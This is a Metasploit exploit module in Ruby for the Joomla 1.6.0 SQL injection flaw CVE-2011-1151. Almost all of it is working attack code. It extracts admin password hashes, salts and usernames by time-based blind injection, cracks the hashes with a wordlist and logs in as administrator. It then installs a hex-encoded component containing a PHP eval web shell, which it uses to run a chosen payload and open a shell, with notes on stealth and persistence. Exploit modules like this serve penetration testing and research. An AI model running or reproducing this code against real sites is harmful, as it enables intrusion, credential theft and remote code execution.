# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Exploit::Remote

	# Includes
	include Msf::Exploit::Remote::HttpClient

	# Initialize module
	def initialize(info = {})
	
		# Initialize information
		super(update_info(info,
			'Name'           => 'Joomla 1.6.0 // SQL Injection -> PHP Execution',
			'Description'    => %q{
			A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks 
			against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract
			admin credentials, and use those credentials to execute arbitrary PHP code against the target.
			The vulnerability is due to a validation issue in /components/com_content/models/category.php
			that erroneously uses the "string" type whenever filtering the user supplied input. This issue 
			was fixed by performing a whitelist check of the user supplied order data against the allowed 
			order types, and also escaping the input.

			NOTES:
			------------------------------------------------
			* Do not set the BMCT option too high!
			* Do not set the BMCT option too low either ...
			* A delay of about three to five seconds is ideal
			* Increase BMRC if you have issues with reliability
			* For added stealth delete the wrapper component. I
			  was gooing to automate this step, but figured, 
			  after asking around that most would want the 
			  persistence vs. the stealth.
			},
			'Author'         => 
				[ 
					# Exploit Only (Bug credit to Aung Khant)
					'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
				],
			'License'        =>  MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-1151' ],
				],
			'Privileged'     =>  false,
			'Platform'       => 'php',
			'Arch'           =>  ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'March 17, 2011',
			'DefaultTarget'  => 0 ))

			register_options(
				[
					# Required
					OptString.new('JDIR', [true, 'Joomla directory', '/']),
				
					# The number of function iterations to run during the benchmark
					OptInt.new('BMCT', [true, 'Benchmark Counter', 500000 ]),
					
					# This is the benchmark delay threshold (in seconds)
					OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
										
					# The number of benchmark tests to make during each data request.
					# This number may be increased for accuracy if you have problems.
					OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
					
					# Wordlist location
					OptString.new('WLIST', [true, 'Wordlist location (i.e. /home/foo/bar.txt)', nil ]),
					
					# Optional
					OptBool.new(  'DBUG', [false, 'Verbose output? (Debug)' ,  nil ]),
					OptString.new('AGNT', [false, 'User Agent Info'         , 'Mozilla/5.0' ]),
					OptInt.new(   'RLIM', [false, 'Random string limit'     ,  8 ]),

					# Database prefix
					OptString.new('PREF', [false, 'Database prefixt',  'jos_' ]),
					
					# URI used to trigger the bug
					OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),
					
					# Query used to trigger bug
					OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),

				], self.class)
	end
	#################################################
	
	# Extract "Set-Cookie"
	def init_cookie(data, cstr = true)
	
		# Raw request? Or cookie data specifically?
		data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

		# Beginning
		if ( data )
			
			# Break them apart
			data = data.split(', ')
			
			# Initialize
			ctmp = ''
			tmps = {}
			
			# Parse cookies
			data.each do | x |
			
				# Remove extra data
				x = x.split(';')[0]
			
				# Seperate cookie pairs
				if ( x =~ /([^;\s]+)=([^;\s]+)/im )
				
					# Key
					k = $1
					
					# Val
					v = $2
				
					# Valid cookie value?
					if ( v.length() > 0 )
					
						# Build cookie hash
						tmps[k] = v
						
						# Report cookie status
						print_status("Got Cookie: #{k} => #{v}");
					end
				end
			end
			
			# Build string data
			if ( cstr == true )
				
				# Loop
				tmps.each do |x,y| 
				
					# Cookie key/value
					ctmp << "#{x}=#{y};" 
				end
				
				# Assign
				tmps['cstr'] = ctmp
			end
			
			# Return
			return tmps
		else
			# Something may be wrong
			init_debug("No cookies within the given response")
		end
	end
	
    #################################################
	
	# Simple debugging output
	def init_debug(resp, exit = 0)
	
		# is DBUG set? Check it
		if ( datastore['DBUG'] )
		
			# Print debugging data
			print_status("######### DEBUG! ########")
			pp resp
			print_status("#########################")
		end
		
		# Continue execution
		if ( exit.to_i > 0 )
		
			# Exit
			exit(0)
		end
		
	end
	
	#################################################
	
	# Generic post wrapper
	def http_post(url, data, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "application/x-www-form-urlencoded"
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout	)
				
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic post multipart wrapper	
	def http_post_multipart(url, data, headers = {}, timeout = 15)
		
		# Boundary string
		bndr =  Rex::Text.rand_text_alphanumeric(8)
		
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Init
		temp = ''
		
		# Parse form values
		data.each do |name, value|
		
			# Hash means file data
			if ( value.is_a?(Hash) )

				# Validate form fields
				filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
				contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
				mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
				encoding = value['encoding'] ? value['encoding']: "Binary"

				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
				temp << "Content-Type: #{mimetype}\r\n"
				temp << "Content-Transfer-Encoding: #{encoding}\r\n"
				temp << "\r\n"
				temp << "#{contents}\r\n"
				
			else
				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
				temp << "\r\n"
				temp << "#{value}\r\n"
			end
		end
		
		# Complete the form data
		temp << "--#{bndr}--\r\n"
		
		# Assigned
		data = temp	
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout)
		
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic get wrapper
	def http_get(url, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']

		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value // Also, remove post specific data, due to a bug ...
			if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
			
				# Delete header key
				headers.delete(hkey)
			end
		end
		
		# Send request
		resp = send_request_raw({
			'uri'     => datastore['JDIR'] + url,
			'headers' => headers,
			'method'  => 'GET',
		}, timeout)
		
		# Returned
		return resp
		
	end
		
	#################################################

	# Used to perform benchmark querys
	def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )
	
		# Init
		wait = 0
		
		# Defaults
		table = table ? table: 'users'
		
		# SQL Injection string used to trigger the MySQL BECNHMARK() function
		sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")
		
		# Number of tests to run. We run this
		# amount of tests and then look for a
		# median value that is greater than
		# the benchmark difference.
		tnum = tnum ? tnum: datastore['BMRC']
		
		# Run the tests
		tnum.to_i.times do | i |
		
			# Start time
			bmc1 = Time.now.to_i
			
			# Make the request
			init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))
		
			# End time
			bmc2 = Time.now.to_i
			
			# Total time
			wait += bmc2 - bmc1
		end

		# Return the results
		return ( wait.to_i / tnum.to_i )
		
	end

	#################################################

	def get_password(hash, salt, opts = nil)
	
		# Wordlist
		wlst = datastore['WLIST']
				
		# Init
		cntr = 0
			
		# Verbose
		print_status("Attempting to crack admin password hash")
		
		# Valid hash length only
		if ( hash.length != 32 )
		
			# Failure
			print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
			return nil
		end
		
		# Does the wordlist exist?
		if ( !File.exist?(wlst) )
		
			# Failure
			print_error("Unable to load wordlist: #{wlst}")
			return nil
		else
			
			# Load the wordlist file
			list = File.readlines(wlst)
		end
		
		# Verbose
		print_status("Loaded #{list.count.to_s} words from the specified list")
		print_status("This may take quite some time ...")

		# Start time
		bmc1 = Time.now.to_i
		
		# Loop through list
		list.each do | word |
		
			# Cleanup
			word = word.strip
			
			# Counter
			cntr = cntr + 1
			
			# Attempt to find the plaintext password
			if ( hash == Rex::Text.md5(word + salt) )
			
				# Success!
				print_status("Successfully cracked the following hash")
				print_status("#{hash} => #{salt} == #{word}")
				
				# Ended time
				bmc2 = Time.now.to_i
				
				# Duration
				bmc3 = bmc2 - bmc1
				bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
				
				# Verbose
				print_status("Operation completed in #{bmc3}")
				
				# Return
				return word
			end # if
		end # each
		
		# Failure
		print_error("Unable to crack the following hash")
		print_error("#{hash} => #{salt} == ???")
		
		# Ended time
		bmc2 = Time.now.to_i
		
		# Duration
		bmc3 = bmc2 - bmc1
		bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
		
		# Verbose
		print_status("Operation completed in #{bmc3}")

		# Return
		return nil
	end
	
	#################################################
	
	def get_users_data(snum, slim, cset, sqlf, sqlw)

			# Start time
			tot1 = Time.now.to_i
			
			# Initialize
			reqc = 0
			retn = String.new
				
			# Extract salt
			for i in snum..slim
			
				# Offset position
				oset = ( i - snum ) + 1
	
				# Loop charset
				for cbit in cset
	
					# Test character
					cbit.each do | cchr |
	
						# Start time (overall)
						bmc1 = Time.now.to_i
	
						# Benchmark query
						bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])
	
						# Noticable delay? We must have a match! ;)
						if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
	
							# Verbose
							print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
	
							# Append chr
							retn << cchr
	
							# Exit loop
							break
						end 
	
						# Counter
						reqc += 1
	
					end # each	
				end # for
	
				# Host not vulnerable?
				if ( oset != retn.length )
					
					# Failure
					print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
					return nil
				end
			end # for
	
			# End time (total)
			tot2 = Time.now.to_i
	
			# Benchmark totals
			tot3 = tot2 - tot1
	
			# Verbose
			print_status("Found data: #{retn}")
			print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")
			
			# Return
			return retn
	end
	
	#################################################	
	
	def check

		# Random string
		rand = Rex::Text.rand_text_alpha(10)
		
		# Trigger an SQL error
		resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{rand}")

		# Attempt to extract the table prefix
		if ( resp.body =~ /ORDER BY \s*#{rand}/ )

			# Vulnerable
			return Exploit::CheckCode::Vulnerable
		else
		
			# Not vulnerable
			return Exploit::CheckCode::Safe
		end
	end
	
	#################################################
	
	def exploit

		# Numeric test string
		tstr = Time.now.to_i.to_s

		# MD5 test string
		tmd5 = Rex::Text.md5(tstr)

		# Encoded payload
		load = payload.encoded
		
		# Globally accessable URI to trigger bug
		datastore['JURI'] = "index.php/extensions/components/"
		
		# Globally accessable query to trigger bug
		datastore['JQRY'] = "filter_order_Dir=1&filter_order="
		
		# Header ...
		head =  "Initializing exploit code ...\n"
		head << "################################################\n"
		head << "# Joomla! 1.6.0 SQL Injection -> PHP execution #\n"
		head << "################################################\n"
		head << "# By James Bercegay # http://www.gulftech.org/ #\n"
		head << "################################################"
		print_status(head)

		#################################################
		# STEP 01 // Attempt to extract Joomla version
		#################################################

		# Verbose
		print_status("Attempting to determine Joomla version")

		# Banner grab request
		resp = http_get("index.php")

		# Extract Joomla version information
		if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

			# Version
			vers = $1.strip 

			# Version "parts"
			ver1, ver2, ver3 = vers.split(/\./)

			# Only if 1.6.0 aka 1.6
			if ( ver2.to_i != 6 || ver3 )

				# Exploit failed
				print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")
				print_error("Proceed with extreme caution, as the exploit may fail")
				init_debug(resp)
			else

				# Verbose
				print_status("The target is running Joomla version : #{vers}")
			end
		else
		
			# Verbose
			print_error("Unable to determine Joomla version ...")
		end

		#################################################
		# STEP 02 // Trigger an SQL error in order to get
		# the database table prefix for future use.
		#################################################

		# Trigger an SQL error
		resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")

		# Attempt to extract the table prefix
		if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )

			# Prefix
			datastore['PREF'] = $1

			# Verbose
			print_status("Host appears vulnerable!")
			print_status("Got database table prefix : #{datastore['PREF']}")
		end

		#################################################
		# STEP 03 // Calculate BENCHMARK() response times
		#################################################

		# Verbose
		print_status("Calculating target response times")
		print_status("Benchmarking #{datastore['BMRC']} normal requests")

		# Normal request median (globally accessible)
		datastore['BMC0'] = sql_benchmark("1=2")
		
		# Verbose		
		print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
		print_status("Benchmarking #{datastore['BMRC']} delayed requests")

		# Delayed request median
		bmc1 = sql_benchmark("1=1")

		# Verbose
		print_status("Delayed request avg: #{bmc1.to_s} seconds")

		# Benchmark totals
		bmct = bmc1 - datastore['BMC0']

		# Delay too small. The host may not be
		# vulnerable. Try increasing the BMCT.
		if ( bmct.to_i < datastore['BMDF'].to_i )

			# Verbose
			print_error("Either your benchmark threshold is too small, or host is not vulnerable")
			print_error("To increase the benchmark threshold adjust the value of the BMDF option")
			print_error("To increase the expression iterator adjust the value of the BMCT option")
			return
		else
			# Host appears exploitable
			print_status("Request Difference: #{bmct.to_s} seconds")
		end

		#################################################
		# STEP 04 // Attempting to find a valid admin id
		#################################################
		
		atot = 0     # Total admins
		scnt = 0     # Step counter
		step = 10    # Step increment
		slim = 10000 # Step limit
		
		# 42 is the hard coded base uid within Joomla ... 
		# ... and the answer to the ultimate question! ;]
		snum = ( !defined?(auid) ) ? 42: auid
		
		# Verbose
		print_status("Calculating total number of administrators")
		
		# Check how many admin accounts are in the database
		for i in 0..slim do

			# Benchmark 
			bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])

			# If we do not have a delay, then we have reached the end ...
			if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )

				# Range
				atot = i
				
				# Verbose
				print_status("Successfully confirmed #{atot.to_s} admin accounts")

				# Exit loop
				break
			end 
		end
			
		# Loops until limit
		while ( snum < slim && scnt < atot )
		
			# Verbose
			print_status("Attempting to find a valid admin ID")
			
			# Verbose
			print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
	
			# Here we attempt to find a valid admin user id by incrementally searching the table
			# "user_usergroup_map" for users belonging to the user group 8, which is, by default
			# the admin user group. First we step through 10 at a time until we pass up a usable
			# admin id, then we step back by #{step} and increment by one until we have a match.
			for i in snum.step(slim, step)
	
				# Benchmark 
				bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
	
				# Noticable delay? We must have a match! ;)
				if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
	
					# Range
					itmp = i
	
					# Exit loop
					break
				else
					
					# Out of time ..
					if ( i == slim )
					
						# Failure
						print_error("Unable to find a valid user id. Exploit failed!")
						return
					end
					
				end 
			end
	
			# Jump back by #{step} and increment by one
			for i in ( itmp - step ).upto(( itmp + step ))
	
				# Benchmark 
				bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
	
				# Noticable delay? We must have a match! ;)
				if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
	
					# UserID
					auid = i
	
					# Verbose
					print_status("Found a valid admin account uid : #{auid.to_s}")
					
					# Step Counter
					scnt += 1
	
					# Exit loop
					break
				else
					
					# Out of time ..
					if ( i == ( itmp + step ) )
					
						# Failure
						print_error("Unable to find a valid user id. Exploit failed!")
						return
					end
				end 
			end
			
			#################################################
			# These are the charsets used for the enumeration
			# operations and can be easily expanded if needed
			#################################################
	
			# Hash charset a-f0-9
			hdic = [ ('a'..'f'), ('0'..'9') ]
	
			# Salt charset a-zA-Z0-9
			sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
			
			# Username charset
			udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
		
			#################################################
			# STEP 05 // Attempt to extract admin pass hash
			#################################################
	
			# Verbose
			print_status("Attempting to gather admin password hash")
			
			# Get pass hash
			if ( !( hash = get_users_data(
							1,                # Length Start
							32,               # Length Maximum
							hdic,             # Charset Array
							"password",       # SQL Field name
							"id=#{auid.to_s}" # SQL Where data
							) ) )
							
				# Failure
				print_error("Unable to gather admin pass hash. Exploit failed!!")
				return
			end
			
			#################################################
			# STEP 06 // Attempt to extract admin pass salt
			#################################################
			
			# Verbose
			print_status("Attempting to gather admin password salt")
			
			# Get pass salt
			if ( !( salt = get_users_data(
							34,               # Length Start
							65,               # Length Maximum
							sdic,             # Charset Array
							"password",       # SQL Field name
							"id=#{auid.to_s}" # SQL Where data
							) ) )
							
				# Failure
				print_error("Unable to gather admin pass salt. Exploit failed!!")
				return
			end

			#################################################
			# STEP 07 // Attempt to crack the extracted hash
			#################################################
	
			# Attempt to crack password hash
			pass = get_password(hash, salt)
	
			# Got pass?
			if ( pass )

				#################################################
				# STEP 08 // Attempt to extract admin username
				#################################################
				
				# Verbose
				print_status("Attempting to determine target username length")
				
				# Hard limit is 150
				for i in 1.upto(150)
		
					# Benchmark 
					bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])
		
					# Noticable delay? We must have a match! ;)
					if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
		
						# Length
						ulen = i
						
						# Verbose
						print_status("The username is #{i.to_s} characters long")
		
						# Exit loop
						break
					end 
				end
		
				# Verbose
				print_status('Gathering admin username')
		
				# Get pass salt
				if ( !( user = get_users_data(
								1,               # Length Start
								ulen,               # Length Maximum
								udic,             # Charset Array
								"username",       # SQL Field name
								"id=#{auid.to_s}" # SQL Where data
								) ) )
								
					# Failure
					print_error("Unable to gather admin user name. Exploit failed!!")
					return
				end

				# Verbose				
				print_status("Attempting to extract a valid request token")
				
				# Request a valid token
				resp = http_get("administrator/index.php")
				
				# Extract token
				if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
				
					# Token
					rtok = $1
					
					# Verbose
					print_status("Got token: #{rtok}")
				else
				
					# Failure
					print_error("Unable to extract request token. Exploit failed!")
					init_debug(resp)
					return
				end
				
				# Init cookie
				cook = init_cookie(resp)
				
				# Build headers for authenticated session
				hdrs = { "Cookie" => cook['cstr'] }
				
				#################################################
				# STEP 09 // Attempt to authenticate as the admin
				#################################################
				
				# Verbose
				print_status("Attempting to login as: #{user}")				
				
				# Post data for login request
				post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"
				
				# Login request
				resp = http_post("administrator/index.php", post, hdrs)
				
				# Authentication successful???
				if ( resp && resp.code == 303 )
				
					# Success
					print_status("Successfully logged in as: #{user}")			
				else
				
					# Failure
					print_error("Unable to authenticate. Exploit failed!")
					init_debug(resp)
					return
				end		
				
				#################################################
				# STEP 10 // Upload wrapper and execute payload!
				#################################################
					
				# Verbose				
				print_status("Attempting to extract refreshed request token")
				
				# Request a valid token (again)
				resp =  http_get("administrator/index.php?option=com_installer", hdrs)		
				
				# Extract token
				if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
				
					# Token
					rtok = $1
					
					# Verbose
					print_status("Got token: #{rtok}")
				else
				
					# Failure
					print_error("Unable to extract request token. Exploit failed!")
					init_debug(resp.body)
					return
				end
				
				# Component specific data
				cstr = "joomla"
				czip = "com_#{cstr}.zip"
				curi = "components/com_#{cstr}/#{cstr}.php"				

				#################################################
				# Our Joomla specific PHP payload wrapper that is
				# used to have more flexibility when delivering a
				# selected payload to a target. The wrapper is in 
				# the Joomla! 1.6 compononent format and can also 
				# be used with other Joomla exploits.
				#################################################
				#
				# Type: Joomla 1.6 Component
				# File: com_joomla/joomla.xml <-- installer file
				#       com_joomla/joomla.php <-- component file
				#
				# Data: <?php
				#       # Modify settings
				#       error_reporting(0);
				#       ini_set('max_execution_time', 0);
				#
				#       # Execute the selected payload, and delete the wrapper
				#       @eval(base64_decode(file_get_contents('php://input')));
				# ?>
				#################################################
				
				# Hex encoded component zip data
				wrap  = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
				wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
				wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
				wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
				wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
				wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
				wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
				wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
				wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
				wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
				wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
				wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
				wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
				wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
				wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
				wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
				wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
				wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
				wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
				wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
				wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
				wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
				wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
				wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
				wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
				wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
				wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
				wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
				wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
				wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
				wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
				wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
				wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
				wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
				wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
				wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
				wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
				wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
				wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
				wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
				wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
				wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
				wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
				wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
				wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
				wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
				wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
				wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
				wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
				wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"

				# Verbose
				print_status("Attempting to upload payload wrapper component")
				
				# Post data
				data = {
				
					# Component data
					'install_package' => 
					{ 
						'filename' =>  czip,
						'contents' =>  wrap,
						'mimetype' => 'application/zip',
						'encoding' => 'binary',
					},
					
					# Required install params
					"installtype"  => "upload",
					"task"         => "install.install",
					"#{rtok}"      => "1",
				}
				
				# Upload the wrapper component
				init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))

				# Deliver the selected payload to the target
				init_debug(http_post(curi, Rex::Text.encode_base64(load)))
				
				# Shell
				handler
				return
			else
			
				# Verbose
				print_error("Failed to crack hash. Searching for new admin account ...")
			end # if
		end # while
		
		# Verbose
		print_error("Unable to crack any admin hashes. Try a better wordlist?")
		return
	end
end